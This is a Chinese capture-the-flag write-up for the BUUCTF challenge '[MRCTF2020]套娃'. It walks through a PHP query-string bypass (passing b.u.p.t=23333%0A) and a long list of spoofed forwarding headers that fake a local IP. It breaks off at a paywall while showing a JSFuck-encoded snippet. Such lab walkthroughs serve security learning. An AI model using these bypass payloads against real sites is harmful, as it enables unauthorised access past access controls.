BUUCTF-[MRCTF2020]套娃

原创

于 2025-09-27 21:12:51 发布 · 1.1k 阅读

24 ·

CC 4.0 BY-SA版权

文章标签：

#前端 #javascript #开发语言 #BUUCTF

这题目听起来就关卡就很多，事实上也不负众望....

第一关

首先F12审计一下

发现有注释代码

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

$_SERVER['QUERY_STRING']是get传参的东西

比如：https://xxxxxxx/?a=6

$_SERVER['QUERY_STRING'] => a=6

然后就是说这个请求里面不能有_及其url编码形式，但又要求传参b_u_p_t

问了ai发现有个方法是，在php中 . 可以被识别为 _

那么传入b.u.p.t即可

然后是检测b.u.p.t参数内容不能等于23333但又只能是23333

Emmmm....又是问了ai（发现离不开ai了）发现/^23333$/会匹配到字符23333结束或者匹配到\n结束，那么传入23333\n即可

传参?b.u.p.t=23333%0A 即可通过

第二关

说在secrettw.php文件里面，那么就访问一下

说让用本地ip访问，那就先用BP抓包一下

然后加入万能本地请求头即可

X-Forwarded-For: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1
Client-IP: 127.0.0.1
Forwarded-For-IP: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1

发现没有you donot have permission语句了，说明绕过成功了

第三关

接着网页代码审计，发现有jsfuck加密内容（其实就是编码，不需要密码就可以还原）

具体内容如下：

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+

最低0.47元/天解锁文章